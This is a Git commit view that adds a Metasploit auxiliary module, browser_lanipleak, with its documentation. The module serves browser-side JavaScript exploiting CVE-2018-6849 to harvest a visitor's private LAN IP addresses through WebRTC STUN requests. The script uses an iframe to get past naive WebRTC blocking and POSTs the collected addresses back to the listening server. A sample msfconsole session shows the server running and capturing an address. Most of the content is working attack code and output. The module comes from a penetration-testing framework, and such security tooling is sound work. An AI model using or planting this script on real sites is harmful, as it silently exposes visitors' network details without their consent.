Land #9823, Private IP leak via WebRTC
Adam Cammack
Metasploit
parent
c3ecbb723d
commit
5b42a81d3a
|
|
@ -0,0 +1,47 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module retrieves a browser's network interface IP addresses using WebRTC. However, after visiting the HTTP server, the browser can disclose a private IP address in a STUN request.
|
||||||
|
|
||||||
|
Related links : https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
Start msfconsole
|
||||||
|
use auxiliary/gather/browser_lanipleak
|
||||||
|
Set SRVHOST
|
||||||
|
Set SRVPORT
|
||||||
|
run (Server started)
|
||||||
|
Visit server URL in any browser which has WebRTC enabled
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(gather/browser_lanipleak) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/gather/browser_lanipleak):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
SRVHOST 192.168.1.104 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||||
|
SRVPORT 8080 yes The local port to listen on.
|
||||||
|
SSL false no Negotiate SSL for incoming connections
|
||||||
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||||
|
URIPATH no The URI to use for this exploit (default is random)
|
||||||
|
|
||||||
|
|
||||||
|
Auxiliary action:
|
||||||
|
|
||||||
|
Name Description
|
||||||
|
---- -----------
|
||||||
|
WebServer
|
||||||
|
|
||||||
|
|
||||||
|
msf auxiliary(gather/browser_lanipleak) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf auxiliary(gather/browser_lanipleak) >
|
||||||
|
[*] Using URL: http://192.168.1.104:8080/mIV1EgzDiEEIMT
|
||||||
|
[*] Server started.
|
||||||
|
|
||||||
|
[*] 192.168.1.104: Sending response (2523 bytes)
|
||||||
|
[+] 192.168.1.104: Found IP address: X.X.X.X
|
||||||
|
```
|
||||||
|
|
@ -0,0 +1,151 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'HTTP Client LAN IP Address Gather',
|
||||||
|
'Description' => %q(
|
||||||
|
This module retrieves a browser's network interface IP addresses
|
||||||
|
using WebRTC.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Daniel Roesler', # JS Code
|
||||||
|
'Dhiraj Mishra' # MSF Module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', '2018-6849' ],
|
||||||
|
[ 'URL', 'http://net.ipcalf.com/' ],
|
||||||
|
[ 'URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Sep 05 2013',
|
||||||
|
'Actions' => [[ 'WebServer' ]],
|
||||||
|
'PassiveActions' => [ 'WebServer' ],
|
||||||
|
'DefaultAction' => 'WebServer'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
exploit # start http server
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
# code from: https://github.com/diafygi/webrtc-ips
|
||||||
|
@html = <<-JS
|
||||||
|
<script>
|
||||||
|
//get the IP addresses associated with an account
|
||||||
|
function getIPs(callback){
|
||||||
|
var ip_dups = {};
|
||||||
|
|
||||||
|
//compatibility for firefox and chrome
|
||||||
|
var RTCPeerConnection = window.RTCPeerConnection
|
||||||
|
|| window.mozRTCPeerConnection
|
||||||
|
|| window.webkitRTCPeerConnection;
|
||||||
|
var useWebKit = !!window.webkitRTCPeerConnection;
|
||||||
|
|
||||||
|
//bypass naive webrtc blocking using an iframe
|
||||||
|
if(!RTCPeerConnection){
|
||||||
|
//NOTE: you need to have an iframe in the page right above the script tag
|
||||||
|
//
|
||||||
|
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
|
||||||
|
//<script>...getIPs called in here...
|
||||||
|
//
|
||||||
|
var win = iframe.contentWindow;
|
||||||
|
RTCPeerConnection = win.RTCPeerConnection
|
||||||
|
|| win.mozRTCPeerConnection
|
||||||
|
|| win.webkitRTCPeerConnection;
|
||||||
|
useWebKit = !!win.webkitRTCPeerConnection;
|
||||||
|
}
|
||||||
|
|
||||||
|
//minimal requirements for data connection
|
||||||
|
var mediaConstraints = {
|
||||||
|
optional: [{RtpDataChannels: true}]
|
||||||
|
};
|
||||||
|
|
||||||
|
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
|
||||||
|
|
||||||
|
//construct a new RTCPeerConnection
|
||||||
|
var pc = new RTCPeerConnection(servers, mediaConstraints);
|
||||||
|
|
||||||
|
function handleCandidate(candidate){
|
||||||
|
//match just the IP address
|
||||||
|
var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
|
||||||
|
var ip_addr = ip_regex.exec(candidate)[1];
|
||||||
|
|
||||||
|
//remove duplicates
|
||||||
|
if(ip_dups[ip_addr] === undefined)
|
||||||
|
callback(ip_addr);
|
||||||
|
|
||||||
|
ip_dups[ip_addr] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
//listen for candidate events
|
||||||
|
pc.onicecandidate = function(ice){
|
||||||
|
|
||||||
|
//skip non-candidate events
|
||||||
|
if(ice.candidate)
|
||||||
|
handleCandidate(ice.candidate.candidate);
|
||||||
|
};
|
||||||
|
|
||||||
|
//create a bogus data channel
|
||||||
|
pc.createDataChannel("");
|
||||||
|
|
||||||
|
//create an offer sdp
|
||||||
|
pc.createOffer(function(result){
|
||||||
|
|
||||||
|
//trigger the stun server request
|
||||||
|
pc.setLocalDescription(result, function(){}, function(){});
|
||||||
|
|
||||||
|
}, function(){});
|
||||||
|
|
||||||
|
//wait for a while to let everything done
|
||||||
|
setTimeout(function(){
|
||||||
|
//read candidate info from local description
|
||||||
|
var lines = pc.localDescription.sdp.split('\\n');
|
||||||
|
|
||||||
|
lines.forEach(function(line){
|
||||||
|
if(line.indexOf('a=candidate:') === 0)
|
||||||
|
handleCandidate(line);
|
||||||
|
});
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
getIPs(function(ip){
|
||||||
|
//console.log(ip);
|
||||||
|
var xmlhttp = new XMLHttpRequest;
|
||||||
|
xmlhttp.open('POST', window.location, true);
|
||||||
|
xmlhttp.send(ip);
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
JS
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
case request.method.downcase
|
||||||
|
when 'get'
|
||||||
|
print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")
|
||||||
|
send_response(cli, @html)
|
||||||
|
when 'post'
|
||||||
|
begin
|
||||||
|
ip = request.body
|
||||||
|
if ip =~ /\A([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\z/
|
||||||
|
print_good("#{cli.peerhost}: Found IP address: #{ip}")
|
||||||
|
else
|
||||||
|
print_error("#{cli.peerhost}: Received malformed IP address")
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("#{cli.peerhost}: Received malformed reply")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue